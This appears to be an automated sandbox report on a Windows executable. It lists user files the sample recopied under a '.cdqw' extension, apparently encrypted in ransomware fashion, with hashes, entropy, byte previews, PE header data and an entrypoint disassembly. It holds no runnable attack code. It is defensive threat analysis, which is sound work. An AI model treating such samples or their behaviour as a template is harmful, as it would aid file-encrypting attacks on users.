Malicious:	true
Preview:	............O....PD...%.8p.P.Y.....2..sr*N.2..&..%.X.-...RF.1G,...].\|.M....B..8(.FmZ....c....^.5#XC...........jv.....Gv7j........&...0..X;^....F8.-..........t.bL. k.....O..O....A..jj.]&.G.]Kyhc.q k8.....3../. ..........).....$b%.;...?....."...G.#..=.Vs....,k.r..?..K...^K.0........%...I.....:...0X.<.m.S.G..^..NG..0am^. ..?...l..c.p.k....I@...V...n.A}.B.AR...5'.?...5..MR~..Y...Y........h..w0_U.Z.]F.,.s...If.Z]..z...'..g.3..N..X..%.h.g..h!>5...,r+.......z......(.A.<...i.....?&..0.)...f......j.C..E....=..\5..(.....}.P!r._...B..Y.m.;.49.."..}/...>...6o..;.'........9..H.8...`..B{..)....(4.1u..-..ec.FA..e...h..^W......vq5C......K.%....7.....C.c.'.P...b.f..GH\|.zi&......R.\|I)..pA.w../Z...DI.O....n.i.z..be......E...\...8.........A.....S.._,....#w.;.PH$.8.bB"I.rc....;.i..{...E918c.n.Z\|.&.....=..+H.i@.$..&....d..7....x..w......9K..T..{y.U...T.G...vz..m..$l/&.".q}...a.k.S.K.....R..:.x.9-8...q]F.s....~0.2..T..).\..~.^v...].....U..f.4.y.O!.c.D!......~.KdG...m.

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog.etl.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	581966
Entropy (8bit):	5.817941531418057
Encrypted:	false
SSDEEP:	6144:SeFsPgnol/a/4tHyJTjdD6GTB6iDnlH9QYG6WcF:Se0Pl/uIHyJTjhr0AlH9QYTF
MD5:	CD9698CC3E5372702A40B5B300AF0986
SHA1:	770CC0A41912EA04E862318E59C1FD24E05FF488
SHA-256:	EC5EF649BA341B5CEDD4F25989E4D65CD0260C3BE9CB7F4853E59F8A33A65F24
SHA-512:	4EAE6187D32BE02811E31F676834A2E8E3E7DE15E48FF72E70C47045F4383E20DD812E4901E39B5DF5984C74D43192A5F7577A8B76FEAD14BBAEE718DA627C2B
Malicious:	false
Preview:	. ......j...:.l.M...J-:8.L.g....t...Y.&....t.pgB#f2x.39..Q.f....05.Pe......dADT.~....&M..r..M!.R.z.;..k......s..D....$.....[.2o....^.ld.5C.."...hI.%..9..InO.....H.B.. ....&.Y=...Z..g#...+.ny.#....nk.2S..o.d...._.....,J.P.h.^K..m$.N.}BNEt.B1..VF...#....V..N...X.2.}w..\..u.h......b-QD..am...CT.+i.E.T.u.ZwF.X..:..mSxKE9...%.f5...s.-...rX((z....U.`..Uw....^g4J.....'..;].....n%.>1.V.l.......r.of...C.Ne.....X....$fN....!x....\....8..f9..K{#...6zL.....1..7..?H.....Z7P.P/pL.V.=.{.._tuS.8~...?'...u.4.t$....KZ.Z:....6....A.6..2Vs.x.W...om.GW.}3x..X.....,...^{A.5...g.9...q.....l.."k 2[..._..Y9.5.iX.L{.....(...V..$.<4...../.k.H.......&./.e7}n.k.J....3.e.#.L.}Ab..,Z. .....7..U...L..p..."r..... Fic....7...$y...{.:t`..$....gQ.cGsa....R..;y.I..9.."/........=]P..6..Y[R.Km...Xv_..N...../..D.S...x!g...*.....pb.f.9.E.o.W.y...w.H.0...=3..Gj....EOd:70...3({0q.......M.Q8..C.....$.[n.~.7.nr....)3s.X=S...I.4..P}...N...K.Gs...&F\|P..6...vd...lE(n....]kl...).{

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993198647282293
Encrypted:	true
SSDEEP:	384:d+nJNuiZcQfyVjdhyL0Y2+VjI54Ytn0ptBv212cjW8fM51Vor:IzutQfy5dYMwk54YtqO2cj/fEM
MD5:	02C6B7B58B4E404BEE23FCD46C41FD02
SHA1:	2BA2B3DE685D7EBB6877E6EBE7AC867C3FECAB0D
SHA-256:	7143E0BC05834792925B7C817C32EE4F20BBD15DCD06AF597D3FA00C41155A13
SHA-512:	2C916859D0B4DB127FE5B5F9454C643D71F9D24D7C3167B4ADF519DC3AB05FA5C7F8C6A3709A792B75A5D3FD8914F88B9D91D6E56B5D76039A842E658668C429
Malicious:	true
Preview:	. .......2P...9x.K.7.AK..rx.1.....R.5.k9j.$....jY$..;qo.q.w.c.D.T....%.1....r..I.V;D....Q. (]T.n....\W..$2u..PC......O.... .ux......(.{....e..M...+..wCqQ....]/....I. ..#.S..N.,.r....DQ..yk.8.....\|fw$.......~...F.....)..0...b.{..j/......g....K.O)....L>k....a.I". Sh..Ov9...(....uR.W..O.#."11!..u...[z...N..//... i.....K.X.8....bxX..&...KD..?.h......Ih.......Z<Z...=......ei.A.......Hb........a0.d.sp.Z.2...5P....+...K.hrr......rE.(W..J..Z.Nbb.B.UgG=.._..T3.:~.......>.Kb^#...f..-..>1.=.]......A..FE.8Bba"..0.t.......e/>.@....k....Y._..8.....ww...^,.A.!.y..42.u.....2L'%@...e...0...sm.0.E..E...V...o.x..../.?..4.>t....A.I...3..V.....{........G...h...v..IC......].^F.S.6..I....C..eZ;....H.~.O...m.........~.DJA.Y....y>dB..=.g.._..f(..,..0..A.......(...K~...+.....dZR...#.\|.3.T..q..},cB.....&...16...p8..2.D.Ct...6..I;.Ud....'M.J:.c...Z=?..'..zJ...".....'..C..!.N....3..uJ...Z<%I...BA..........cQ.$T.4 ..R5%.T.Ru...f.@XX.....J.+.iW......>..Z:.....L{%g.P..

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1280.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.223251506702693
Encrypted:	false
SSDEEP:	6:3/KZqRBoewz/T5RlHUHJBZotA4zpv7KyzjfkfJBz6GrV2bv1lnIS1WdNcii96Z:3SZMOXTGB8dzpvXFg2bv1WSUdNcii9a
MD5:	BE44B433C15FB8EFAD79B3CCE682844A
SHA1:	EE95EF800AA2D19846A8670022C8E3EACF0CA3B7
SHA-256:	FEB4F165A4055C79746F4454C103176958CE2424C8A17DFE919ABB741119715B
SHA-512:	F811628AC13313970483134EC990936A214BC207A6817D00240E9A906F373637C9FF8EFE72DB88EDB7E4B6E000A43C07557F788E74D19B119C86AED71171CF71
Malicious:	false
Preview:	CMMM 8.4..Q:J.1..N.1.}..:...\ekX...I.%..J...c.['.f.c..^Dhfghb.".\|...X4...Z.pa$..<.1.a..Z.?yQ...=c.Q....<....S..+.B,.U..fAV.+.R.....o...........y.M.w.~_8..4...%...=!=..n>;.N.p8...a.........{.P.A.8..z.P.k@....6.p.#n..DrJ..\X.....G.c.e.,.\/.....0k.m;<XV.p.~..r.J~@E.}.3X.-..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1920.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.304861484096662
Encrypted:	false
SSDEEP:	6:iY6fgtfLo6qu6Jt8AhsWWDd3zEbvexgwfYieoiSkM+dlalnIS1WdNcii96Z:iY6f6oH8s9Sh9mwwMkDdlaWSUdNcii9a
MD5:	ECEAC6799D2E8C5C785B2D4A84F2F80F
SHA1:	4F38C8B6C88F7427AFC68BE10BC3EAECC27515D4
SHA-256:	FF9DA091D8FC531FAA87070C3C566086C30F9CBAA59F25847F5CD6AF40530F91
SHA-512:	76798A4025595DD0F39C36F803CADCC8CA119CFBEC29E77C17E5D01D46603FACB00C616B18E44B135997F6E93AB9DEADCDDE4AE489E0524F0A4C6109DB076E68
Malicious:	false
Preview:	CMMM B.d:..`.....D.N..O.v..ev_Z(=.n.}.u.D:.+n03....0.....\.s=...\.\E_.RJ...g89....x...O.c..or.(....N.R.lD....S..;........L....qX=.5e.4`.....4\|.p...N...JZ.....C.7...6....q..y..gz....>.'.....}....x..*....k;'.+.}.S.....Jm.\|.n~.gj..=..wp-...FY./.......q....iA...r..4mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_2560.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.3168912929392045
Encrypted:	false
SSDEEP:	6:QZN2Fy4HSHdSiXrrsAk8IMOHtuvqO4QtkW4kXuAg7MIHoglnIS1WdNcii96Z:sQkrXsAkBHQvqfKFg7MuWSUdNcii9a
MD5:	5E2D743B6557F19760BD20FF44E9B104
SHA1:	CC2274E3989C3F42E8C348FCE774682D71803A83
SHA-256:	CCBE28B41A2E895BC60043DF504485EAE30392E64E542BFF68FE443E6F4116D8
SHA-512:	19E6B78C2010DE3913CFCA6D9759CB729D26DAD90523787FB67DA3C90AC861B437DA90BC6142BB426F2004FD3B3028FFFE385EB5DE81ECECDAD0965D5875B9C9
Malicious:	false
Preview:	CMMM e .f...t.IO...nB..Y..3?\|../.C..'.?Y.N@Z..k;Os)`(...V...3\N}o7..-...F]..R.......s.eW.E.......~...4.L.=.b._...Y..K.F.4Lj......!e..TM.SP%W..2-...>qXC=....3..>"..,.O..;a.,P...j.@=.B..K......-.6.:..I...g.i]...G=.e*+.^.....F........w.R6.."./"..9l}Z.0.......!..uYB\|..;...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_768.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.309780950695748
Encrypted:	false
SSDEEP:	6:F3lGe/t6Q2LmPdDmlBZrWU1ybLLfV1OyEWrIInIS1WdNcii96Z:LGmCy6BVWsuLruSUdNcii9a
MD5:	798ECEBFDF9424CFDDD8D8D02B920417
SHA1:	A08E7D254C74B08A500F04351721B37D1DC0D3EB
SHA-256:	3F23D77D57F6D75DF0FCE4B83191005947D5BAA19FFBEE6CC4DACFC8C1D29B52
SHA-512:	0E97E02D85B446AD7F196FEDC0AA26250789515725C84B1C5B3412D4A61C3071A0F71597290F8027E9073D1D8D63CC013CAF29262D5A089C0E6F979713A454AD
Malicious:	false
Preview:	CMMM ...x..........G.%...vw....VV........:(.."f..)...V03h)...U..j.W....8.6..4..#.+..3.R+n1I:.4)..p...y.kC.E.....k...v........'5.0.}.b.$`.68......C..Gg.7....^k...#3.l.s..N..W....4o..H.W...:U..&W.@..P.._...n......P.d.....}.K;b&..>...%.JDWY2\|S.. T.......c..,...p....GmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_96.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.306763309741961
Encrypted:	false
SSDEEP:	6:NmZ8PsFaGn/3vy8KC8eja6BhTmP0h4zSKD3bAe98Tq5xlxEXXnIS1WdNcii96Z:UZsVGn/3vHDbHqP0h4zSKDLAa8T2g4Sw
MD5:	AFDF21509A86B9CE297B7D19C67452ED
SHA1:	4A2EEFA0513B5945063ED31DC534D83B5F86A029
SHA-256:	5ADA7056FBE4F4AE4B489A12C7BC32B5F6D609D8FBBE8FADF9B653E0CF54B118
SHA-512:	922DBD7CACEF2480897774306F516D26994C2295FFDA5B093CDA9B8A86E47FACA4F4BE4CC1B3F7BDC4108E095F1E4A413CBA7CD389B16A2360889F7CAE5E89A5
Malicious:	false
Preview:	CMMM a..t...W.*0......R3..."..R.=...<.=p....B...i.>t5."...3S.`..._.D..^.0.P........+....{......C)..z..ss.aEU\|L....\.....e./.Ye?.C'X...k76..h9..?.!D._...&/..8l...........Nn....\|..;k...\|Z....`...5.!.D..t.A..~...o.1...#.l.}f......:.0..2.N...E..J3p......Kr.(.8....MmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_custom_stream.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.277234904733727
Encrypted:	false
SSDEEP:	6:2cr7ROrj2exi/I9wcMQPvM5DHvCv27sHkV9Nj6AyPnIS1WdNcii96Z:2cr9G7D9yN5PCv2/PywSUdNcii9a
MD5:	C91F8B86A2E0330510FE325E01B95D55
SHA1:	4FAA743C40154C7E57FB69280F20ABB466E99B9E
SHA-256:	7903E23F911E4CE3BBAC175B7D432F70807756E6DD0A8B0F4709EC0A59CBD9BB
SHA-512:	DABEA06F5243BE76372875026DE616818B39429B2BA5F2F39878B75885706C21272D79DF36E741327B6EA542ECEB324A3AC880B281302F3085DADEDB95CD3447
Malicious:	false
Preview:	CMMM .?.......^.9..^rpxFr$...\.@.&s..4.j.)..T.\\|.........G.Oj...Z..w...0...v......F..._. .....L......O..N-X..J.......A.C.?.Rx...Y...........7x.{_.r.....*<.8-........0.G.........E...Z%.4re..^./.M.0O9M]u....2.bs...&t...p].{Q.\|..aKG ....sJ...............9hf.+.. ..w..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_exif.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.295623676771871
Encrypted:	false
SSDEEP:	6:sG8IyaBVci2wBFjxUQJonlOuLi2THQ0zeFJUWagMmELtr7nIS1WdNcii96Z:Jv9jtJonUEVjJAJUdHmELKSUdNcii9a
MD5:	5B209D4AB96201142FC6CB3789AAA006
SHA1:	A95CAAFD1F5694FFAE904D2E389E7D37771F53DA
SHA-256:	F56934B87450AB09EBC1E27BD244D510652E7E181B30E1CEBECF20626A7B806D
SHA-512:	4926EB74F6B3DB323455B5AA2A6AE3C32F96CE07DEFB5FCE8F52370DC0471463ADB94CEAD21B62537D437C6E503293CF63039366C6D89E50692DD605F7C1DDC4
Malicious:	false
Preview:	CMMM ..T".....;._.rj..PM..}t.0-...d..io.*..fpq.:.S........x..aJ...#.JM.......Jd.ie..2bYq..r..:.7.#$.m(...U.e.e4w;.M...x....Mo.....4..,..K.c.....-.....".6..6n~g.kh....:..w.).Tk{....Tek{..$R./.q..p.I.w.Q..(.-.6@......./....rs....D.$...XU..n....dJ...pf}....6iT.A5l..c.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_sr.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.313440291656939
Encrypted:	false
SSDEEP:	6:GmG8/5CSv28yf1w/3RkuEa+lKzz3YIh3DkneMM9nlX0g4fW8nIS1WdNcii96Z:G7+5fBfWDXCYYnl1NSUdNcii9a
MD5:	0C2AF356E995A09C0ED0531CB8BC2182
SHA1:	44CE58400C42DC5B11E72641BDA8D38B6A31D458
SHA-256:	62A9FC9389AEE2C5C2CF08CBCF5B72F3FEDFD84DDB0EBF8126430889809F01BD
SHA-512:	97CF8081952EB61F96B7CE77367C3BED71D68519E35E4147D85FDD1C90476ED0672EA574C95A068094517FBA676EBFE59771B6DD2396AF63584D824FEA5BBEAF
Malicious:	false
Preview:	CMMM ..8...4.`..W..Y....N{D%.E...O./....N.@7.a....Z.bU.5,_.c.....P...G........1.....g.....'^....^-n.y$W.......+.:m.T.%<p..J.q.F.L.X.^?........Jz.?..wy'=5...........h.....1.j^.5....{.....)..r...8..K.4....7..:.!W.Y....9./.h.i...\|....r.E&`.A..S....././NS..a.n...=.".=.#..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	20346
Entropy (8bit):	7.99164106645602
Encrypted:	true
SSDEEP:	384:U8zQPbicakoPakywRmOVpX14We6yKi4tyKDwThGVRbwQcD3h97vM/vd2x4Z:lzQWcoXRmOVDLesDwTA/M3h97kN2xs
MD5:	5BD4606A29D3435F198B41BC13F8C5F3
SHA1:	4E00E193CB1F171B54A164CEE20EDE80ABBFAA1A
SHA-256:	A5798C2E4C347EF9F7B69BD5636FC2EE229FBADCA84F3BE3F99AF9F2512EDF3A
SHA-512:	739915D5A2F0FB3C58BD737A491CE33617CA3770E7E8A43151A743D405392D2F5537C0DD1C6E1558FE93D1695361E93C58EA35101E8EB90D15F3FB8DB4401BA8
Malicious:	true
Preview:	.......>{...3.P80J&..t...@....^.Q.kb....[.l..y_c2.2..xX...Z.]".xo.,..:p.......#`@E..6v..s....n{Z...Is...w.R..$.n.G...;~.)..0...W..g...../`.Q......."...^..t..2.V{N\..........8!.q+D...q......V...@...E.%...3a..:.CGa....3..MZ....9....;......3......F.....ApN....+o.D....q.....@o"l..H..#b..Y=.1.....<.8F.N..c4.Db9..Y...M.M<.Ps,M.l. .B:jl..p.......7.Jll...)....c . .5...@..38.l....r.y.~tF.~.(.e.......k..x..B...=q.... :}..?...vA....wN?..........)R...........tc#.I .....D.A.....__I.c.d...T.t.._U..G4WeI#.M..<.p.2N..t..R...{k.Q(..9zH....}..!......Q........h....gU.\|N...(..8.@..KJ.5..!..!<..."..S/.......<...*..'...G....k;...Q.u^...I.}.......mr..4.h#..........9y.e..e.y.a..EI..kl..JC........)f&8E...-}Y...9..e..!m..../....".........=K.A5..,...f...:..c........_ya...#.7_6G}..b...)_........f..:D....I......./....H.....^..-$..C.y./..&..X.k .....s...'o.bg".C.5).)._.9-g..z.....=J..vh....g..^......b8/'.B..~.Z.1.....p.......N(..-.....I.%...p.q.\.,j...`.R!.q...\v....

C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.992563054889235
Encrypted:	true
SSDEEP:	384:JQdFf6lR6WywyUd6kD6tnWah/U0LpITFTsLrt2Q/dRKK15geCEWyHF6Qhz:JW+RLywyUcE6nWahUspITFTcrkid8K1V
MD5:	A546DD62C69423979F4CFD290DA5457E
SHA1:	AB23C9646E76ABDEE60CE40087A14F91C2750137
SHA-256:	3DF9F97BDB967166DD44217BB8C0334A902B073C27D04911341202E0DCEE75E5
SHA-512:	22ACFAAC915C64B88BCE0B1AE8B13866147194D96257E923AC3585582DC0A37FC1E4E303C26C7648FA51679B9FB67FA1DEC9D1BD1D3591B022CBCA7FD8855E87
Malicious:	true
Preview:	03-10.wM..c\|]._...O.i..^.G6.....G...,%]...U..\U)...ID._x......_..S........`i..8~h..n.9....v30..}..j5.......k..$..M.....i..L.=X.$.Aw#r.ph...3.m...`...N..+......>J6...H.[.a.........0D......O{,...=.Q...[...C.M.#.....z<......m.%>T....Jz}c...!...v%...D6.}.nsL#.S.D.zu`.^...N'gXf....9Z..T.Wz.e.h..bw]...u.c...l4+A....#So..(..\.X.D.Z.Uw@...T...rG../.....[..@H....e.,;e.F.:e..B.4.9OJ)y~..\|.........=....B.(.Kg<...m..k.,.#..w.;yX....~...InA.V....v...l....n.IW.z..3.OnF-GP3..1D.....E.:&..lN.F^..3..$L.fjs.#X.0f......#<..4...... .M......5.q..B>8...X./7..sN..U.C...JD)..z.....@....D...I.\...&eQ..f.j.;.U..I.....i...B...N..b...(;..P..b....Lr%%..By.{.X...o]..q`..L..=..\....C..\|V.....:.P.='A._..0,.\|.m...._..8.a..H.*..E.[..%'\...{....L.K......0....+.w.-.u.1..n@,..<...27.....+{...;(.p.D..$.<..p+.I.2....8~...\|...n#.N3......O.r...-4.>{w. ..@.?..>1..H.r._ .....b.{..8..p.,W,1n).8........^.X.l.=......}T.Q...+.IdfM..-d.l..{...WH.....Q..=........._z.\|..

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1002}-.searchconnector-ms

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.827553344624995
Encrypted:	false
SSDEEP:	24:HCo5RQYEgxjKpV/F9kEAKX8qQyF+FlTGePHFmG7gyXn5p2bD:V5lEgJiV/wEvXF/ePHFm6Xn5CD
MD5:	5FAF9DFF96B15D1BF1870C4470EF04C5
SHA1:	5AA40F24E58CC3ECF980B1FAAE8FCCCB2BCA4110
SHA-256:	B6998BB851A2CDB35053B04CCF67E7712E5057B00B41371E168EE87AFAF4A7AD
SHA-512:	1382845A83962DAAD0D1950E378337B0DD9F5588B66690585E6C87BF0A49C40B1B2BB4B97DCAB0F3D7B5769490C5FABB2CE1DCDFAE9BBCEA9DB99EB07ABC58DA
Malicious:	false
Preview:	<?xmlh:i.....Ce..?......et.G.)d..W..N........o..d.6...(c.A.N\$...:.E....S.Q.-.M..G.wyMV..%j.A..$.....6....6.B.C.-l.9..Q45..>.BR.[..'fno:..t.G..2....cl#!#...mXHG..a>.:...?\|.0M8oo.v.?7.X."tJQ...\|!..Y...J.%....\|..M..&.h...6.r."......;.;a4......z...a.[k.8.Q.......o..'......6Q....m...C...+f......IH..=/..D[.A,.`......Y7.3....YY...O..{..r.\...l.h..A&L.n.~_...n...g.+6...5..P..a.......<..,,.s-.3.:I....%.(Y...#..........p.7........V.'..].I.......W\|..9.=........s>.s..).-........w.`V\..fgv:K.0..i..u..b.......?u......e.....}%..f.2..iV.Y.0..T..;d.3..3d...`.@...5.d4+.!...(.......'il.P]....q.A\...m....>.......i}.b9..5/...[...zf.....+...'.o....#o..N.7..-.$,...\....%.w7.0.... ...z...].q.6N....L.?..O._......{b ..m.,......=.x-..>{...`.xaE.\l...K..W.NQ.k..S.....9}>....y>>..E.\6N..k"..QHBA..........k.C..u..OM._.:...Uj....;~\|....W.%w....F].s...We.B..H.W'..d5...Q.=>..6.3Ik..h.&.Sn_L..7......ws...c.K.j.....r(.w\|.=.!..N..9.S.J.3....m.I;.:RHX.:?.$...G3#.MQ4o9>

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1002}-.searchconnector-ms.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.827553344624995
Encrypted:	false
SSDEEP:	24:HCo5RQYEgxjKpV/F9kEAKX8qQyF+FlTGePHFmG7gyXn5p2bD:V5lEgJiV/wEvXF/ePHFm6Xn5CD
MD5:	5FAF9DFF96B15D1BF1870C4470EF04C5
SHA1:	5AA40F24E58CC3ECF980B1FAAE8FCCCB2BCA4110
SHA-256:	B6998BB851A2CDB35053B04CCF67E7712E5057B00B41371E168EE87AFAF4A7AD
SHA-512:	1382845A83962DAAD0D1950E378337B0DD9F5588B66690585E6C87BF0A49C40B1B2BB4B97DCAB0F3D7B5769490C5FABB2CE1DCDFAE9BBCEA9DB99EB07ABC58DA
Malicious:	false
Preview:	<?xmlh:i.....Ce..?......et.G.)d..W..N........o..d.6...(c.A.N\$...:.E....S.Q.-.M..G.wyMV..%j.A..$.....6....6.B.C.-l.9..Q45..>.BR.[..'fno:..t.G..2....cl#!#...mXHG..a>.:...?\|.0M8oo.v.?7.X."tJQ...\|!..Y...J.%....\|..M..&.h...6.r."......;.;a4......z...a.[k.8.Q.......o..'......6Q....m...C...+f......IH..=/..D[.A,.`......Y7.3....YY...O..{..r.\...l.h..A&L.n.~_...n...g.+6...5..P..a.......<..,,.s-.3.:I....%.(Y...#..........p.7........V.'..].I.......W\|..9.=........s>.s..).-........w.`V\..fgv:K.0..i..u..b.......?u......e.....}%..f.2..iV.Y.0..T..;d.3..3d...`.@...5.d4+.!...(.......'il.P]....q.A\...m....>.......i}.b9..5/...[...zf.....+...'.o....#o..N.7..-.$,...\....%.w7.0.... ...z...].q.6N....L.?..O._......{b ..m.,......=.x-..>{...`.xaE.\l...K..W.NQ.k..S.....9}>....y>>..E.\6N..k"..QHBA..........k.C..u..OM._.:...Uj....;~\|....W.%w....F].s...We.B..H.W'..d5...Q.=>..6.3Ik..h.&.Sn_L..7......ws...c.K.j.....r(.w\|.=.!..N..9.S.J.3....m.I;.:RHX.:?.$...G3#.MQ4o9>

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.849462983030692
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Clipper DOS Executable (2020/12) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	sbvN2ih5AU.exe
File size:	699'904 bytes
MD5:	2950cf3e600789b6045b872e19471b0c
SHA1:	2aabfb0a893aad067f2dd8ec2bad8bcadb17bfae
SHA256:	daa8db2383e3d9fe6cc680385e04fd9aeecee60bc13a4d7c75e55d8d40258d58
SHA512:	32653a28155efbcca6a882535c092cf70c9791dd938093369703e883c3a56a782e1e73911068f1c924777892888cf5f4d96ffed3060dc13c3cc07ad2e6491636
SSDEEP:	12288:8QomBFxreNOxUrPjkBdUQB5ZFuqoSiH+2rXkWruygmuuXjd/Yj/lnYuburNXGtRF:8mBrjiruuq5ieUXkWr/G/lYqQA
TLSH:	E0E4126178A3C072E2AAD3704831CDF05A6BF965DB7489DB2324477E5E322D35E29393
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L......b...........

File Icon


Icon Hash:	7551552541484043

Static PE Info

General

Entrypoint:	0x403cfa
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x62C6A005 [Thu Jul 7 08:57:41 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	075072bc4c2d68336fe17427212b21de

Entrypoint Preview

Instruction
call 00007FEFE0B06BE2h
jmp 00007FEFE0B03A9Eh
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword ptr [008C2BA8h]
call 00007FEFE0B06488h
push dword ptr [008C2BA4h]
mov edi, eax
mov dword ptr [ebp-04h], edi
call 00007FEFE0B06478h
mov esi, eax
pop ecx
pop ecx
cmp esi, edi
jc 00007FEFE0B03CA9h
mov ebx, esi
sub ebx, edi
lea eax, dword ptr [ebx+04h]
cmp eax, 04h
jc 00007FEFE0B03C99h
push edi
call 00007FEFE0B06D10h
mov edi, eax
lea eax, dword ptr [ebx+04h]
pop ecx
cmp edi, eax
jnc 00007FEFE0B03C6Ah
mov eax, 00000800h
cmp edi, eax
jnc 00007FEFE0B03C24h
mov eax, edi
add eax, edi
cmp eax, edi
jc 00007FEFE0B03C31h
push eax
push dword ptr [ebp-04h]
call 00007FEFE0B06C9Eh
pop ecx
pop ecx
test eax, eax
jne 00007FEFE0B03C38h
lea eax, dword ptr [edi+10h]
cmp eax, edi
jc 00007FEFE0B03C62h
push eax
push dword ptr [ebp-04h]
call 00007FEFE0B06C88h
pop ecx
pop ecx
test eax, eax
je 00007FEFE0B03C53h
sar ebx, 02h
push eax
lea esi, dword ptr [eax+ebx*4]
call 00007FEFE0B06393h
pop ecx
mov dword ptr [008C2BA8h], eax
push dword ptr [ebp+08h]
call 00007FEFE0B06385h
mov dword ptr [esi], eax
add esi, 04h
push esi
call 00007FEFE0B0637Ah
pop ecx
mov dword ptr [008C2BA4h], eax
mov eax, dword ptr [ebp+08h]
pop ecx
jmp 00007FEFE0B03C24h
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov edi, edi
push esi

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa19d8	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4c3000	0x7df8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x9f1d0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
